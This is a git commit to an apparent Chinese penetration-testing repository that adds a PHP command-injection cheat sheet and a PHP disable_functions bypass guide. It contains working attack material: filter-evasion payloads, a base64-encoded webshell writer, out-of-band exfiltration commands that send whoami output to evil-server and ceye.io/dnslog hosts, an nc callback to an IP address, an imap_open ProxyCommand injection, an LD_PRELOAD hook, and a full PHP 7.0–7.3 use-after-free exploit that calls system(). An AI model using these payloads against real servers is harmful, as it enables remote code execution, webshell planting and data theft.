add 绕过disable_function汇总.md&命令注入总结.md

This commit is contained in:
mr-xn 2019-10-20 12:16:31 +08:00
parent 68ded65cac
commit ef3b5f4d61
3 changed files with 670 additions and 1 deletions

View File

@ -106,7 +106,10 @@
- [通过Shodan和favicon icon发现真实IP地址](https://github.com/pielco11/fav-up)
- [Cobalt_Strike扩展插件](./tools/Cobalt_Strike扩展插件.md)
- [Windows命令行cmd的空格替换](./tools/Windows命令行cmd的空格替换.md)
- [绕过disable_function汇总](./tools/绕过disable_function汇总.md)
- [WAF Bypass](https://chybeta.gitbooks.io/waf-bypass/content/)
- [命令注入总结](./tools/命令注入总结.md)
## 说明
> 此项目所有文章、代码均来源于互联网,仅供学习参考使用,严禁用于任何非法行为!使用即代表你同意自负责任!
> 此项目所有文章、代码部分来源于互联网,版权归原作者所有,此项目仅供学习参考使用,严禁用于任何非法行为!使用即代表你同意自负责任!

359
tools/命令注入总结.md Normal file
View File

@ -0,0 +1,359 @@
## 命令注入总结
## 直接执行代码
PHP 中有不少可以直接执行代码的函数。
```
eval();
assert();
system();
exec();
shell_exec();
passthru();
escapeshellcmd();
pcntl_exec();
```
preg_replace( ) 代码执行
preg_replace() 的第一个参数如果存在 `/e` 模式修饰符,则允许代码执行。
```
<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>
```
若无 `/e` 修饰符,则可以尝试 %00 截断。
## 重定向
- cmd > file
把cmd命令的输出重定向到文件file中。如果file已经存在则清空原有文件使用bash的noclobber选项可以防止复盖原有文件。
- cmd >> file
把cmd命令的输出重定向到文件file中如果file已经存在则把信息加在原有文件后面。
- cmd < file
使cmd命令从file读入
- cmd << text
从命令行读取输入直到一个与text相同的行结束。除非使用引号把输入括起来此模式将对输入内容进行shell变量替换。如果使用`<<-` 则会忽略接下来输入行首的tab结束行也可以是一堆tab再加上一个与text相同的内容可以参考後面的例子。
- cmd <<< word
把word而不是文件word和后面的换行作为输入提供给cmd。
- cmd <> file
以读写模式把文件file重定向到输入文件file不会被破坏。仅当应用程序利用了这一特性时它才是有意义的。
- cmd >| file
功能同>但即便在设置了noclobber时也会复盖file文件注意用的是|而非一些书中说的!目前仅在csh中仍沿用`>!`实现这一功能。
- : > filename
把文件`filename`截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与`touch`的效果相同).
- cmd >&n
把输出送到文件描述符n
- cmd m>&n
把输出到文件符m的信息重定向到文件描述符n
- cmd >&-
关闭标准输出
- cmd <&n
输入来自文件描述符n
- cmd m<&n
m来自文件描述各个n
- cmd <&-
关闭标准输入
- cmd <&n-
移动输入文件描述符n而非复制它。
- cmd >&n-
移动输出文件描述符n而非复制它。
注意: `>&`实际上复制了文件描述符,这使得`cmd > file 2>&1``cmd 2>&1 >file`的效果不一样。
## 读文件
```
cat flag /{cat,flag}
more flag
less flag
bzmore flag
bzless flag
head flag
tail flag
tailf flag
tac flag
nl flag
od -a flag
fire flag
wc flag
uniq flag
diff flag flag1.txt
sed -n '1,2p' flag
find -P flag
strings flag
curl file:///root/flag
sort flag
bash -v flag
rev flag
paste ./flag.txt /etc/passwd
```
## Bypass
### 多条命令
```
%0a、%0d 换行符与回车符
| 第一条命令结果作为第二条命令的输入
|| 第一条执行失败,执行第二条命令
; 连续指令功能。
& 连接的两条命令都会执行
&& 当第一条执行成功后执行后续命令
echo 666`date` => 666Tue 14 May 2019 07:15:23 AM EDT
# Windows
Copy %0a
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>
```
### 绕过 escapeshellcmd
- win 下执行 bat
```
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
```
执行.bat文件的时候利用%1a可以绕过过滤执行命令。
```
dir=../ %1a whoami
```
### 空格
- ${IFS}
```
cat${IFS}flag
cat${IFS}$9flag
cat$IFS$9flag
cat%09flag # \0x09 是 TAB
```
- 重定向符<>
```
cat<>flag
cat<flag
```
### 黑名单绕过
- 拼接
```
a=c;b=at;c=flag;$a$b $c
```
- 利用已存在的资源
从已有的文件或者环境变量中获得相应的字符。
- 编码
```
`echo "Y2F0IGZsYWc="|base64 -d`
echo "Y2F0IGZsYWc="|base64 -d|bash
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
$ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
```
- 单引号、双引号
```
c""at fl''ag
c'a't f'l'ag
```
- 反斜线 \
```
c\at fl\ag
```
- 通配符
```
/?in/?s => ls
* 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符
[! ] 同 ^
cat fl[0-z]g
echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
花括号拓展{OS_COMMAND,ARGUMENT}
在Linux bash中还可以使用{cat,/etc/passwd}来绕过
这里没实验成功
```
- 未定义变量
```
cat$x /etc/passwd
```
- 可变函数
```
(sy.(st).em)(whoami)
$_GET[a]($_GET[b].$_GET[c])
获取内置函数 system 的索引后,直接执行
get_defined_functions()[internal] | grep ststem
get_defined_functions()[internal][381](whoami)
```
- `$@`
```
$ c$@at fl$@ag
flag{xxx}
$ echo i$@d
id
$ i$@d
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
$ echo i$@d|$0
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
$ echo {nc,47.101.220.241,2333}|$0
直接连 nc 了。。。$0 好牛逼?
$0 就相当于 bash 另外 $n 表示命令行第 n 个参数
$ $0<<<i$@d
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
```
- 利用已经存在的资源
```
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ echo $PATH| cut -c 1
/
$ echo $PATH| cut -c 1-4
/usr
```
- ${PS2} 对应字符 >
- ${PS4} 对应字符 +
- ${IFS} 对应 内部字段分隔符
- ${9} 对应 空字符串
### 无回显
- 弹 shell
- DNS 外带数据
```
curl "http://testhash.test.dnslog.link/?`whoami`"
```
- HTTP 外带
```
# linux
curl http://evil-server/`whoami`
wget http://evil-server/$(whoami)
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io
# windows
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求
获取计算机名for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
```
### 长度限制
- 文件构造(参考橘子那个 hitcon
```
>w
将会创建一个名字为 w 的空文件。
```
工具
- [shelling](https://github.com/ewilded/shelling)
## 参考链接
[巧用命令注入的 N 种姿势](https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw)
[命令执行的一些绕过技巧](https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/)

View File

@ -0,0 +1,307 @@
# 绕过disable_function汇总
## 第一种方式—利用LD_PRELOAD
```php
<?php
putenv("LD_PRELOAD=/tmp/hack.so");
mail("a@localhost", "", "", "", "");
//error_log("a",1);
?>
```
```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
/*
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
*/
```
## 第二种模式— -imap_open
```php
<?php
# https://antichat.com/threads/463395/#post-4254681
# # echo '1234567890'>/tmp/test0001
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
echo file_get_contents("/tmp/cmd_result");
```
## 第三种模式— -exec
```php
<?php
echo exec("ls",$file);
echo "</br>";
print_r($file);
?>
```
## 第四种模式— -passthru
```php
<?php
passthru("ls");
?>
```
## 第五种模式— -system()
```php
<?php
system('ls');
?>
```
## 第六种模式—fpm
[从蚁剑插件看利用PHP-FPM绕过disable_functions](https://www.mi1k7ea.com/2019/08/03/%E4%BB%8E%E8%9A%81%E5%89%91%E6%8F%92%E4%BB%B6%E7%9C%8B%E5%88%A9%E7%94%A8PHP-FPM%E7%BB%95%E8%BF%87disable-functions/)
[PHP 连接方式&攻击PHP-FPM&*CTF echohub WP](https://evoa.me/index.php/archives/52/)
## 第七种模式PHP 7.0 < 7.3 (Unix) - gc Disable Functions Bypass
```php
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1
pwn("ls");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
```
> 第七种引用 https://www.exploit-db.com/exploits/47462
> 文章来至 [绕过disable_function汇总](https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/)